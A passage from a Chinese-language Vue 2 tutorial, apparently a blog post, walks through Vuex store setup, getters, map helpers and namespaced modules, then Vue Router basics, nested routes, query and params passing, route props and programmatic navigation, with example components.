    //准备state对象——保存具体的数据
    const state = {}
    ​
    //创建并暴露store
    export default new Vuex.Store({
        actions,
        mutations,
        state
    })
  2. main.js中创建vm时传入store配置项

    ......
    //引入store
    import store from './store'
    ......
    ​
    //创建vm
    new Vue({
        el:'#app',
        render: h => h(App),
        store
    })

4.基本使用

  1. 初始化数据、配置actions、配置mutations,操作文件store.js

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //引用Vuex
    Vue.use(Vuex)
    ​
    const actions = {
        //响应组件中加的动作
        jia(context,value){
            // console.log('actions中的jia被调用了',miniStore,value)
            context.commit('JIA',value)
        },
    }
    ​
    const mutations = {
        //执行加
        JIA(state,value){
            // console.log('mutations中的JIA被调用了',state,value)
            state.sum += value
        }
    }
    ​
    //初始化数据
    const state = {
       sum:0
    }
    ​
    //创建并暴露store
    export default new Vuex.Store({
        actions,
        mutations,
        state,
    })
  2. 组件中读取vuex中的数据:$store.state.sum

  3. 组件中修改vuex中的数据:$store.dispatch('action中的方法名',数据)$store.commit('mutations中的方法名',数据)

    备注:若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写dispatch,直接编写commit

5.getters的使用

  1. 概念:当state中的数据需要经过加工后再使用时,可以使用getters加工。(类似vue中的computed)

  2. store.js中追加getters配置

    ......
    ​
    const getters = {
        bigSum(state){
            return state.sum * 10
        }
    }
    ​
    //创建并暴露store
    export default new Vuex.Store({
        ......
        getters
    })
  3. 组件中读取数据:$store.getters.bigSum

不用vuex写的

count.vue

  1. <template>
  2. <div>
  3. <h1>当前求和为{{ sum }}</h1>
  4. <select v-model.number="n">
  5. <option value="1">1</option>
  6. <option value="2">2</option>
  7. <option value="3">3</option>
  8. </select>
  9. <button @click="increment">+</button>
  10. <button @click="decrement">-</button>
  11. <button @click="incrementOdd">当前求和为奇数再加</button>
  12. <button @click="incrementWait">等一会再加</button>
  13. </div>
  14. </template>
  15. <script>
  16. export default {
  17. name: "countNum",
  18. data() {
  19. return {
  20. sum: 0, //求和
  21. n: 1, //选择的数
  22. };
  23. },
  24. methods: {
  25. increment() {
  26. this.sum += this.n;
  27. },
  28. decrement() {
  29. this.sum -= this.n;
  30. },
  31. incrementOdd() {
  32. if (this.sum % 2) {
  33. this.sum += this.n;
  34. }
  35. },
  36. incrementWait() {
  37. setTimeout(() => {
  38. this.sum += this.n;
  39. }, 1000);
  40. },
  41. },
  42. };
  43. </script>
  44. <style>
  45. button {
  46. margin-left: 5px;
  47. }
  48. </style>

用纯vuex写

count.vue

  1. <template>
  2. <div>
  3. <h1>当前求和为{{ $store.state.sum }}</h1>
  4. <h3>当前求和的10倍为{{ $store.getters.BigSum }}</h3>
  5. <select v-model.number="n">
  6. <option value="1">1</option>
  7. <option value="2">2</option>
  8. <option value="3">3</option>
  9. </select>
  10. <button @click="increment">+</button>
  11. <button @click="decrement">-</button>
  12. <button @click="incrementOdd">当前求和为奇数再加</button>
  13. <button @click="incrementWait">等一会再加</button>
  14. </div>
  15. </template>
  16. <script>
  17. export default {
  18. name: "countNum",
  19. data() {
  20. return {
  21. // sum: 0, //求和
  22. n: 1, //选择的数
  23. };
  24. },
  25. methods: {
  26. increment() {
  27. this.$store.dispatch("increment", this.n);
  28. },
  29. decrement() {
  30. //直接调用commit与mutation对话
  31. this.$store.commit('decrement',this.n)
  32. },
  33. incrementOdd() {
  34. if (this.$store.state.sum % 2) {
  35. this.increment()
  36. }
  37. },
  38. incrementWait() {
  39. setTimeout(() => {
  40. this.increment()
  41. }, 1000);
  42. },
  43. },
  44. };
  45. </script>
  46. <style>
  47. button {
  48. margin-left: 5px;
  49. }
  50. </style>

main.js

  1. // 引入vue
  2. import Vue from 'vue'
  3. // 引入APP组件,它是所有组件的父组件
  4. import App from './App.vue'
  5. import vueResource from "vue-resource";
  6. import store from './store/index'
  7. // 关闭vue生产提示
  8. Vue.config.productionTip = false
  9. Vue.use(vueResource)
  10. // 创建vue实例
  11. new Vue({
  12. render: h => h(App),
  13. store,
  14. beforeCreate(){
  15. Vue.prototype.$bus = this
  16. }
  17. }).$mount('#app')

store/index.js

  1. import Vue from "vue"
  2. import Vuex from 'vuex'
  3. //使用vuex插件
  4. Vue.use(Vuex)
  5. // 创建actions--用于响应组件中的行为
  6. const actions = {
  7. increment(context,value){
  8. console.log('action被调用');
  9. context.commit('increment',value)
  10. },
  11. decrement(context,value){
  12. console.log('action中decrement被调动');
  13. context.commit('decrement',value)
  14. }
  15. }
  16. //创建mutations--用于操作数据(state)
  17. const mutations = {
  18. increment(state,value){
  19. console.log('mutations中jia被调用');
  20. state.sum += value
  21. },
  22. decrement(state,value){
  23. console.log('mutations中decrement被调动');
  24. state.sum -= value
  25. }
  26. }
  27. //创建state--用于存储数据
  28. const state = {
  29. sum:0
  30. }
  31. const getters = {
  32. BigSum(state){
  33. return state.sum * 10
  34. }
  35. }
  36. //创建并暴露store
  37. export default new Vuex.Store({
  38. actions,mutations,state,getters
  39. })

6.四个map方法的使用

  1. mapState方法:用于帮助我们映射state中的数据为计算属性

    computed: {
        //借助mapState生成计算属性:sum、school、subject(对象写法)
         ...mapState({sum:'sum',school:'school',subject:'subject'}),
             
        //借助mapState生成计算属性:sum、school、subject(数组写法)
        ...mapState(['sum','school','subject']),
    },
  2. mapGetters方法:用于帮助我们映射getters中的数据为计算属性

    computed: {
        //借助mapGetters生成计算属性:bigSum(对象写法)
        ...mapGetters({bigSum:'bigSum'}),
    ​
        //借助mapGetters生成计算属性:bigSum(数组写法)
        ...mapGetters(['bigSum'])
    },
  3. mapActions方法:用于帮助我们生成与actions对话的方法,即:包含$store.dispatch(xxx)的函数

    methods:{
        //靠mapActions生成:incrementOdd、incrementWait(对象形式)
        ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
    ​
        //靠mapActions生成:incrementOdd、incrementWait(数组形式)
        ...mapActions(['jiaOdd','jiaWait'])
    }
  4. mapMutations方法:用于帮助我们生成与mutations对话的方法,即:包含$store.commit(xxx)的函数

    methods:{
        //靠mapActions生成:increment、decrement(对象形式)
        ...mapMutations({increment:'JIA',decrement:'JIAN'}),
        
        //靠mapMutations生成:JIA、JIAN(对象形式)
        ...mapMutations(['JIA','JIAN']),
    }

备注:mapActions与mapMutations使用时,若需要传递参数需要:在模板中绑定事件时传递好参数,否则参数是事件对象。

count.vue

  1. <template>
  2. <div>
  3. <h1>当前求和为{{ sum }}</h1>
  4. <h3>当前求和的10倍为{{ BigSum }}</h3>
  5. <select v-model.number="n">
  6. <option value="1">1</option>
  7. <option value="2">2</option>
  8. <option value="3">3</option>
  9. </select>
  10. <button @click="increment(n)">+</button>
  11. <button @click="decrement(n)">-</button>
  12. <button @click="incrementOdd(n)">当前求和为奇数再加</button>
  13. <button @click="incrementWait(n)">等一会再加</button>
  14. </div>
  15. </template>
  16. <script>
  17. import { mapState, mapGetters, mapActions, mapMutations } from "vuex";
  18. export default {
  19. name: "countNum",
  20. data() {
  21. return {
  22. // sum: 0, //求和
  23. n: 1, //选择的数
  24. };
  25. },
  26. computed: {
  27. //mapState对象写法,k是计算属性的名字,value是在store中state的数据
  28. // ...mapState({ sum: "sum" }),
  29. //mapState数组写法,当计算属性的名称与state中数据名字一样时
  30. ...mapState(["sum"]),
  31. // mapGetters对象写法,k是计算属性的名字,value是在store中Getters的数据
  32. // ...mapGetters({ BigSum: "BigSum" }),
  33. // mapGetters数组写法,当计算属性的名称与Getters中数据名字一样时
  34. ...mapGetters(["BigSum"]),
  35. },
  36. methods: {
  37. /* increment() {
  38. this.$store.dispatch("increment", this.n);
  39. }, */
  40. // 必须要在模板里给事件传参,否则默认将鼠标事件传过去(对象写法)
  41. ...mapActions({ increment: "increment" }),
  42. /* decrement() {
  43. //直接调用commit与mutation对话
  44. this.$store.commit("decrement", this.n);
  45. }, */
  46. // 必须要在模板里给事件传参,否则默认将鼠标事件传过去(对象写法)
  47. ...mapMutations({ decrement: "decrement" }),
  48. /* incrementOdd() {
  49. this.$store.dispatch("incrementOdd", this.n);
  50. }, */
  51. // 数组写法
  52. ...mapActions(['incrementOdd']),
  53. /* incrementWait() {
  54. this.$store.dispatch("incrementWait", this.n);
  55. }, */
  56. ...mapActions(['incrementWait'])
  57. },
  58. };
  59. </script>
  60. <style>
  61. button {
  62. margin-left: 5px;
  63. }
  64. </style>

 index.js

  1. //该文件用于创建vuex中核心--store
  2. import Vue from "vue"
  3. import Vuex from 'vuex'
  4. //使用vuex插件
  5. Vue.use(Vuex)
  6. // 创建actions--用于响应组件中的行为
  7. const actions = {
  8. increment(context,value){
  9. console.log('action被调用');
  10. context.commit('increment',value)
  11. },
  12. decrement(context,value){
  13. console.log('action中decrement被调动');
  14. context.commit('decrement',value)
  15. },
  16. incrementOdd(context,value){
  17. if(context.state.sum % 2){
  18. context.commit('increment',value)
  19. }
  20. },
  21. incrementWait(context,value){
  22. setTimeout(()=>{
  23. context.commit('increment',value)
  24. },500)
  25. }
  26. }
  27. //创建mutations--用于操作数据(state)
  28. const mutations = {
  29. increment(state,value){
  30. console.log('mutations中jia被调用');
  31. state.sum += value
  32. },
  33. decrement(state,value){
  34. console.log('mutations中decrement被调动');
  35. state.sum -= value
  36. }
  37. }
  38. //创建state--用于存储数据
  39. const state = {
  40. sum:0
  41. }
  42. const getters = {
  43. BigSum(state){
  44. return state.sum * 10
  45. }
  46. }
  47. //创建并暴露store
  48. export default new Vuex.Store({
  49. actions,mutations,state,getters
  50. })

7.模块化+命名空间

  1. 目的:让代码更好维护,让多种数据分类更加明确。

  2. 修改store.js

    const countAbout = {
      namespaced:true,//开启命名空间
      state:{x:1},
      mutations: { ... },
      actions: { ... },
      getters: {
        bigSum(state){
           return state.sum * 10
        }
      }
    }
    ​
    const personAbout = {
      namespaced:true,//开启命名空间
      state:{ ... },
      mutations: { ... },
      actions: { ... }
    }
    ​
    const store = new Vuex.Store({
      modules: {
        countAbout,
        personAbout
      }
    })
  3. 开启命名空间后,组件中读取state数据:

    //方式一:自己直接读取
    this.$store.state.personAbout.list
    //方式二:借助mapState读取:
    ...mapState('countAbout',['sum','school','subject']),
  4. 开启命名空间后,组件中读取getters数据:

    //方式一:自己直接读取
    this.$store.getters['personAbout/firstPersonName']
    //方式二:借助mapGetters读取:
    ...mapGetters('countAbout',['bigSum'])
  5. 开启命名空间后,组件中调用dispatch

    //方式一:自己直接dispatch
    this.$store.dispatch('personAbout/addPersonWang',person)
    //方式二:借助mapActions:
    ...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
  6. 开启命名空间后,组件中调用commit

    //方式一:自己直接commit
    this.$store.commit('personAbout/ADD_PERSON',person)
    //方式二:借助mapMutations:
    ...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),

count.vue

  1. <template>
  2. <div>
  3. <h1>当前求和为{{ sum }}</h1>
  4. <h3>当前求和的10倍为{{ BigSum }}</h3>
  5. <select v-model.number="n">
  6. <option value="1">1</option>
  7. <option value="2">2</option>
  8. <option value="3">3</option>
  9. </select>
  10. <button @click="increment(n)">+</button>
  11. <button @click="decrement(n)">-</button>
  12. <button @click="incrementOdd(n)">当前求和为奇数再加</button>
  13. <button @click="incrementWait(n)">等一会再加</button>
  14. </div>
  15. </template>
  16. <script>
  17. // import { nanoid } from "nanoid";
  18. import { mapState, mapGetters, mapActions, mapMutations } from "vuex";
  19. export default {
  20. name: "countNum",
  21. data() {
  22. return {
  23. // sum: 0, //求和
  24. n: 1, //选择的数
  25. };
  26. },
  27. computed: {
  28. //mapState对象写法,k是计算属性的名字,value是在store中state的数据
  29. // ...mapState({ sum: "sum" }),
  30. //mapState数组写法,当计算属性的名称与state中数据名字一样时
  31. ...mapState("countAbout", ["sum"]),
  32. // mapGetters对象写法,k是计算属性的名字,value是在store中Getters的数据
  33. // ...mapGetters({ BigSum: "BigSum" }),
  34. // mapGetters数组写法,当计算属性的名称与Getters中数据名字一样时
  35. ...mapGetters("countAbout", ["BigSum"]),
  36. },
  37. methods: {
  38. /* increment() {
  39. this.$store.dispatch("increment", this.n);
  40. }, */
  41. // 必须要在模板里给事件传参,否则默认将鼠标事件传过去(对象写法)
  42. ...mapActions("countAbout", { increment: "increment" }),
  43. /* decrement() {
  44. //直接调用commit与mutation对话
  45. this.$store.commit("decrement", this.n);
  46. }, */
  47. // 必须要在模板里给事件传参,否则默认将鼠标事件传过去(对象写法)
  48. ...mapMutations("countAbout", { decrement: "decrement" }),
  49. /* incrementOdd() {
  50. this.$store.dispatch("incrementOdd", this.n);
  51. }, */
  52. // 数组写法
  53. ...mapActions('countAbout',["incrementOdd"]),
  54. /* incrementWait() {
  55. this.$store.dispatch("incrementWait", this.n);
  56. }, */
  57. ...mapActions('countAbout',["incrementWait"]),
  58. },
  59. };
  60. </script>
  61. <style>
  62. button {
  63. margin-left: 5px;
  64. }
  65. </style>

 person.vue

  1. <template>
  2. <div>
  3. <h1>人员列表</h1>
  4. <h4>Count组件的总和是{{ sum }}</h4>
  5. <h4>随机的名字是{{ personList[0].name }}</h4>
  6. <input type="text" placeholder="请输入名字" v-model="name" />
  7. <button @click="addPerson">添加</button>
  8. <button @click="addPersonServe">随机添加一个名字</button>
  9. <ul>
  10. <li v-for="p in personList" :key="p.id">{{ p.name }}</li>
  11. </ul>
  12. </div>
  13. </template>
  14. <script>
  15. import { mapState } from "vuex";
  16. import { nanoid } from "nanoid";
  17. export default {
  18. data() {
  19. return {
  20. name: "",
  21. };
  22. },
  23. computed: {
  24. ...mapState("personAbout", ["personList"]),
  25. ...mapState("countAbout", ["sum"]),
  26. },
  27. methods: {
  28. addPerson() {
  29. const person = { id: nanoid(), name: this.name };
  30. console.log(person);
  31. this.$store.commit("personAbout/addPerson", person);
  32. this.name = "";
  33. },
  34. addPersonServe() {
  35. this.$store.dispatch("personAbout/addPersonServe");
  36. },
  37. },
  38. /* mounted(){
  39. console.log(this.$store);
  40. } */
  41. };
  42. </script>
  43. <style>
  44. </style>

index.js

  1. //该文件用于创建vuex中核心--store
  2. import Vue from "vue"
  3. import Vuex from 'vuex'
  4. import countAbout from './countAbout'
  5. import personAbout from './personAbout'
  6. //使用vuex插件
  7. Vue.use(Vuex)
  8. //创建并暴露store
  9. export default new Vuex.Store({
  10. //引入的模块写在配置项modules中
  11. modules:{
  12. countAbout,personAbout
  13. }
  14. })

countAbout.vue

  1. export default {
  2. //开启命名空间,默认是false,开启后就可以访问
  3. namespaced:true,
  4. actions:{
  5. increment(context,value){
  6. console.log('action被调用');
  7. context.commit('increment',value)
  8. },
  9. decrement(context,value){
  10. console.log('action中decrement被调动');
  11. context.commit('decrement',value)
  12. },
  13. incrementOdd(context,value){
  14. if(context.state.sum % 2){
  15. context.commit('increment',value)
  16. }
  17. },
  18. incrementWait(context,value){
  19. setTimeout(()=>{
  20. context.commit('increment',value)
  21. },500)
  22. }
  23. },
  24. mutations:{
  25. increment(state,value){
  26. console.log('mutations中jia被调用');
  27. state.sum += value
  28. },
  29. decrement(state,value){
  30. console.log('mutations中decrement被调动');
  31. state.sum -= value
  32. },
  33. },
  34. state:{
  35. sum:0,
  36. },
  37. getters:{
  38. BigSum(state){
  39. return state.sum * 10
  40. }
  41. }
  42. }

personAbout.vue

  1. import { nanoid } from "nanoid"
  2. import axios from "axios"
  3. export default {
  4. //开启命名空间,默认是false,开启后就可以访问
  5. namespaced:true,
  6. actions:{
  7. addPersonServe(context){
  8. console.log(context);
  9. axios.get('https://api.uixsj.cn/hitokoto/get?type=social').then(
  10. response =>{
  11. context.commit('addPerson',{name:response.data,id:nanoid()})
  12. },
  13. erro =>{
  14. console.log(erro.message);
  15. }
  16. )
  17. }
  18. },
  19. mutations:{
  20. addPerson(state,value){
  21. state.personList.unshift(value)
  22. },
  23. },
  24. state:{
  25. personList:[{name:'张三',id:nanoid()}]
  26. },
  27. getters:{
  28. }
  29. }

6.路由

  1. 理解: 一个路由(route)就是一组映射关系(key - value),多个路由需要路由器(router)进行管理。

  2. 前端路由:key是路径,value是组件。

1.基本使用

  1. 安装vue-router,命令:npm i vue-router@3

  2. 应用插件:Vue.use(VueRouter)

  3. 编写router配置项:

    //引入VueRouter
    import VueRouter from 'vue-router'
    //引入Luyou 组件
    import About from '../components/About'
    import Home from '../components/Home'
    ​
    //创建router实例对象,去管理一组一组的路由规则
    const router = new VueRouter({
        routes:[
            {
                path:'/about',
                component:About
            },
            {
                path:'/home',
                component:Home
            }
        ]
    })
    ​
    //暴露router
    export default router
  4. 实现切换(active-class可配置高亮样式)

    <router-link active-class="active" to="/about">About</router-link>
  5. 指定展示位置

    <router-view></router-view>

2.几个注意点

  1. 路由组件通常存放在pages文件夹,一般组件通常存放在components文件夹。

  2. 通过切换,“隐藏”了的路由组件,默认是被销毁掉的,需要的时候再去挂载。

  3. 每个组件都有自己的$route属性,里面存储着自己的路由信息。

  4. 整个应用只有一个router,可以通过组件的$router属性获取到。

 app.vue

  1. <template>
  2. <div class="container">
  3. <div>
  4. <div class="row">
  5. <div class="col-xs-offset-2 col-xs-8">
  6. <div class="page-header"><h2>Vue Router Demo</h2></div>
  7. </div>
  8. </div>
  9. <div class="row">
  10. <div class="col-xs-2 col-xs-offset-2">
  11. <div class="list-group">
  12. <!-- //原始用a链接跳转
  13. <a class="list-group-item active" href="./about.html">About</a>
  14. <a class="list-group-item" href="./home.html">Home</a> -->
  15. <router-link
  16. class="list-group-item"
  17. active-class="active"
  18. to="/about"
  19. >About</router-link
  20. >
  21. <router-link
  22. class="list-group-item"
  23. active-class="active"
  24. to="/home"
  25. >Home</router-link
  26. >
  27. </div>
  28. </div>
  29. <div class="col-xs-6">
  30. <div class="panel">
  31. <div class="panel-body">
  32. <router-view></router-view>
  33. </div>
  34. </div>
  35. </div>
  36. </div>
  37. </div>
  38. </div>
  39. </template>
  40. <script>
  41. export default {
  42. name: "App",
  43. data() {
  44. return {};
  45. },
  46. /* mounted() {
  47. console.log("app", this);
  48. }, */
  49. };
  50. </script>

home.vue和about.vue差不多

  1. <template>
  2. <div>
  3. <h2>我是home的内容</h2>
  4. </div>
  5. </template>
  6. <script>
  7. export default {
  8. name:'aboutVue'
  9. }
  10. </script>
  11. <style>
  12. </style>

main.js

  1. /*
  2. 该文件是整个项目的入口文件
  3. */
  4. // 引入vue
  5. import Vue from 'vue'
  6. // 引入APP组件,它是所有组件的父组件
  7. import App from './App.vue'
  8. //引入Vuerouter
  9. import VueRouter from 'vue-router'
  10. //引入路由器
  11. import router from './router/index'
  12. // import store from './store/index'
  13. // 关闭vue生产提示
  14. Vue.config.productionTip = false
  15. //使用VueRouter
  16. Vue.use(VueRouter)
  17. // 创建vue实例
  18. new Vue({
  19. render: h => h(App),
  20. router,
  21. }).$mount('#app')

router/index.js

  1. //该文件用于创建整个应用的路由器
  2. import VueRouter from 'vue-router'
  3. import about from '../components/about.vue'
  4. import home from '../components/home.vue'
  5. //创建一个路由器
  6. export default new VueRouter({
  7. routes:[{
  8. path:'/about',
  9. component:about
  10. },{
  11. path:'/home',
  12. component:home
  13. }]
  14. })

3.嵌套路由(多级路由)

  1. 配置路由规则,使用children配置项:

    routes:[
        {
            path:'/about',
            component:About,
        },
        {
            path:'/home',
            component:Home,
            children:[ //通过children配置子级路由
                {
                    path:'news', //此处一定不要写:/news
                    component:News
                },
                {
                    path:'message',//此处一定不要写:/message
                    component:Message
                }
            ]
        }
    ]
  2. 跳转(要写完整路径):

    <router-link to="/home/news">News</router-link>

home.vue

  1. <template>
  2. <div>
  3. <h2>Home组件内容</h2>
  4. <div>
  5. <ul class="nav nav-tabs">
  6. <li>
  7. <router-link class="list-group-item" active-class="active" to="/home/News">News</router-link>
  8. </li>
  9. <li>
  10. <router-link class="list-group-item" active-class="active" to="/home/Message">Message</router-link>
  11. </li>
  12. </ul>
  13. </div>
  14. <router-view></router-view>
  15. </div>
  16. </template>
  17. <script>
  18. export default {
  19. name: "aboutVue",
  20. };
  21. </script>
  22. <style>
  23. </style>

 router/index.js

  1. //该文件用于创建整个应用的路由器
  2. import VueRouter from 'vue-router'
  3. import about from '../pages/about.vue'
  4. import home from '../pages/home.vue'
  5. import News from '../pages/News.vue'
  6. import Message from '../pages/Message.vue'
  7. //创建一个路由器
  8. export default new VueRouter({
  9. routes:[{
  10. path:'/about',
  11. component:about
  12. },{
  13. path:'/home',
  14. component:home,
  15. children:[{
  16. path:'News',
  17. component:News
  18. },{
  19. path:'Message',
  20. component:Message
  21. }]
  22. }]
  23. })

4.路由的query参数

  1. 传递参数

    <!-- 跳转并携带query参数,to的字符串写法 -->
    <router-link :to="/home/message/detail?id=666&title=你好">跳转</router-link>
    <!--用模板字符串解析-->
    <!-- <router-link :to="`/home/Message/detail?id=${m.id}&title=${m.title}`">{{m.title}}</router-link>&nbsp;&nbsp; -->    
    ​
    <!-- 跳转并携带query参数,to的对象写法 -->
    <router-link 
        :to="{
            path:'/home/message/detail',
            query:{
               id:666,
                title:'你好'
            }
        }"
    >跳转</router-link>
  2. 接收参数:

    $route.query.id
    $route.query.title

message.vue 

  1. <template>
  2. <div>
  3. <ul>
  4. <li v-for="m in messageList" :key="m.id">
  5. <!-- 跳转并携带query参数,to的字符串写法 -->
  6. <!-- <router-link :to="`/home/Message/detail?id=${m.id}&title=${m.title}`">{{
  7. m.title
  8. }}</router-link
  9. >&nbsp;&nbsp; -->
  10. <!-- 跳转并携带query参数,to的对象写法 -->
  11. <router-link
  12. :to="{
  13. path:'/home/Message/detail',
  14. query:{
  15. id:m.id,
  16. title:m.title
  17. }
  18. }"
  19. >{{ m.title }}</router-link
  20. >&nbsp;&nbsp;
  21. </li>
  22. </ul>
  23. <router-view></router-view>
  24. </div>
  25. </template>
  26. <script>
  27. export default {
  28. name: "MessageVue",
  29. data() {
  30. return {
  31. messageList: [
  32. {
  33. id: "001",
  34. title: "消息001",
  35. },
  36. {
  37. id: "002",
  38. title: "消息002",
  39. },
  40. {
  41. id: "003",
  42. title: "消息003",
  43. },
  44. ],
  45. };
  46. },
  47. };
  48. </script>

 detail.vue

  1. <template>
  2. <ul>
  3. <li>消息编号{{$route.query.id}}</li>
  4. <li>消息名称{{$route.query.title}}</li>
  5. </ul>
  6. </template>
  7. <script>
  8. export default {
  9. }
  10. </script>
  11. <style>
  12. </style>

5.命名路由

  1. 作用:可以简化路由的跳转。

  2. 如何使用

    1. 给路由命名:

      {
          path:'/demo',
          component:Demo,
          children:[
              {
                  path:'test',
                  component:Test,
                  children:[
                      {
                            name:'hello' //给路由命名
                          path:'welcome',
                          component:Hello,
                      }
                  ]
              }
          ]
      }
    2. 简化跳转:

      <!--简化前,需要写完整的路径 -->
      <router-link to="/demo/test/welcome">跳转</router-link>
      ​
      <!--简化后,直接通过名字跳转 -->
      <router-link :to="{name:'hello'}">跳转</router-link>
      ​
      <!--简化写法配合传递参数 -->
      <router-link 
          :to="{
              name:'hello',
              query:{
                 id:666,
                  title:'你好'
              }
          }"
      >跳转</router-link>

6.路由的params参数

  1. 配置路由,声明接收params参数

    {
        path:'/home',
        component:Home,
        children:[
            {
                path:'news',
                component:News
            },
            {
                component:Message,
                children:[
                    {
                        name:'xiangqing',
                        path:'detail/:id/:title', //使用占位符声明接收params参数
                        component:Detail
                    }
                ]
            }
        ]
    }
  2. 传递参数

    <!-- 跳转并携带params参数,to的字符串写法 -->
    <router-link :to="/home/message/detail/666/你好">跳转</router-link>
    <router-link :to="`/home/Message/detail/${m.id}/${m.title}`">{{ m.title}}</router-link>             
    <!-- 跳转并携带params参数,to的对象写法 -->
    <router-link 
        :to="{
            name:'xiangqing',
            params:{
               id:666,
                title:'你好'
            }
        }"
    >跳转</router-link>

    特别注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!

  3. 接收参数:

    $route.params.id
    $route.params.title

message.vue

  1. <template>
  2. <div>
  3. <ul>
  4. <li v-for="m in messageList" :key="m.id">
  5. <!-- 跳转并携带params参数,to的字符串写法 -->
  6. <router-link :to="`/home/Message/detail/${m.id}/${m.title}`">{{
  7. m.title
  8. }}</router-link
  9. >&nbsp;&nbsp;
  10. <!-- 跳转并携带params参数,to的对象写法 -->
  11. <!-- <router-link
  12. :to="{
  13. name: 'detail',
  14. path: '/home/Message/detail',
  15. params: {
  16. id: m.id,
  17. title: m.title,
  18. },
  19. }"
  20. >{{ m.title }}</router-link
  21. >&nbsp;&nbsp; -->
  22. </li>
  23. </ul>
  24. <router-view></router-view>
  25. </div>
  26. </template>
  27. <script>
  28. export default {
  29. name: "MessageVue",
  30. data() {
  31. return {
  32. messageList: [
  33. {
  34. id: "001",
  35. title: "消息001",
  36. },
  37. {
  38. id: "002",
  39. title: "消息002",
  40. },
  41. {
  42. id: "003",
  43. title: "消息003",
  44. },
  45. ],
  46. };
  47. },
  48. };
  49. </script>

 detail.vue

  1. <template>
  2. <ul>
  3. <li>消息编号{{$route.params.id}}</li>
  4. <li>消息名称{{$route.params.title}}</li>
  5. </ul>
  6. </template>
  7. <script>
  8. export default {
  9. }
  10. </script>
  11. <style>
  12. </style>

router/index.js 

  1. //该文件用于创建整个应用的路由器
  2. import VueRouter from 'vue-router'
  3. import about from '../pages/about.vue'
  4. import home from '../pages/home.vue'
  5. import News from '../pages/News.vue'
  6. import Message from '../pages/Message.vue'
  7. import detail from '../pages/detail.vue'
  8. //创建一个路由器
  9. export default new VueRouter({
  10. routes:[{
  11. path:'/about',
  12. component:about
  13. },{
  14. path:'/home',
  15. component:home,
  16. children:[{
  17. path:'News',
  18. component:News
  19. },{
  20. path:'Message',
  21. component:Message,
  22. children:[{
  23. // name:'detail',
  24. path:'detail/:id/:title',
  25. component:detail
  26. }]
  27. }]
  28. }]
  29. })

7.路由的props配置

作用:让路由组件更方便的收到参数

{
    name:'xiangqing',
    path:'detail/:id',
    component:Detail,
​
    //第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
    // props:{a:900}
​
    //第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件
    // props:true
    
    //第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件
    props(route){
        return {
            id:route.query.id,
            title:route.query.title
        }
    }
}

router/index.js

  1. import VueRouter from 'vue-router'
  2. import about from '../pages/about.vue'
  3. import home from '../pages/home.vue'
  4. import News from '../pages/News.vue'
  5. import Message from '../pages/Message.vue'
  6. import detail from '../pages/detail.vue'
  7. //创建一个路由器
  8. export default new VueRouter({
  9. routes:[{
  10. path:'/about',
  11. component:about
  12. },{
  13. path:'/home',
  14. component:home,
  15. children:[{
  16. path:'News',
  17. component:News
  18. },{
  19. path:'Message',
  20. component:Message,
  21. children:[{
  22. // name:'detail',
  23. path:'detail',
  24. component:detail,
  25. /* //props的第一种写法,不推荐,值是对象,该对象中所有key-value都会以props形式传给detail组件
  26. props:{
  27. id:'001',
  28. title:'hello'
  29. } */
  30. /* //props的第二种写法,值为布尔值,若值为真,就会把该组件接收到的所有params参数,以pros形式传给detail组件
  31. props:true */
  32. //props的第三种写法,值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件
  33. props($route){
  34. return {id:$route.query.id,title:$route.query.title}
  35. }
  36. }]
  37. }]
  38. }]
  39. })

 detail.vue

  1. <template>
  2. <ul>
  3. <li>消息编号{{ id }}</li>
  4. <li>消息名称{{ title }}</li>
  5. </ul>
  6. </template>
  7. <script>
  8. export default {
  9. props:['id','title'],
  10. mounted(){
  11. console.log(this.id,this.title);
  12. },
  13. updated() {
  14. console.log(this.id,this.title);
  15. },
  16. };
  17. </script>
  18. <style>
  19. </style>

message.vue

  1. <template>
  2. <div>
  3. <ul>
  4. <li v-for="m in messageList" :key="m.id">
  5. <!-- 跳转并携带params参数,to的字符串写法 -->
  6. <router-link :to="`/home/Message/detail?id=${m.id}&title=${m.title}`">{{
  7. m.title
  8. }}</router-link
  9. >&nbsp;&nbsp;
  10. <!-- 跳转并携带params参数,to的对象写法 -->
  11. <!-- <router-link
  12. :to="{
  13. name: 'detail',
  14. path: '/home/Message/detail',
  15. params: {
  16. id: m.id,
  17. title: m.title,
  18. },
  19. }"
  20. >{{ m.title }}</router-link
  21. >&nbsp;&nbsp; -->
  22. </li>
  23. </ul>
  24. <router-view></router-view>
  25. </div>
  26. </template>
  27. <script>
  28. export default {
  29. name: "MessageVue",
  30. data() {
  31. return {
  32. messageList: [
  33. {
  34. id: "001",
  35. title: "消息001",
  36. },
  37. {
  38. id: "002",
  39. title: "消息002",
  40. },
  41. {
  42. id: "003",
  43. title: "消息003",
  44. },
  45. ],
  46. };
  47. },
  48. };
  49. </script>

8.<router-link>的replace属性

  1. 作用:控制路由跳转时操作浏览器历史记录的模式

  2. 浏览器的历史记录有两种写入方式:分别为pushreplacepush是追加历史记录,replace是替换当前记录。路由跳转时候默认为push

  3. 如何开启replace模式:<router-link replace .......>News</router-link>

9.编程式路由导航

  1. 作用:不借助<router-link>实现路由跳转,让路由跳转更加灵活

  2. 具体编码:

    //$router的两个API
    this.$router.push({
        name:'xiangqing',
            params:{
                id:xxx,
                title:xxx
            }
    })
    ​
    this.$router.replace({
        name:'xiangqing',
            params:{
                id:xxx,
                title:xxx
            }
    })
    this.$router.forward() //前进
    this.$router.back() //后退
    this.$router.go() //可前进也可后退,里面的参数是正的时候就是前进的步数,负就是后退的

10.缓存路由组件

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/凡人多烦事01/article/detail/69868
推荐阅读
相关标签
  

闽ICP备14008679号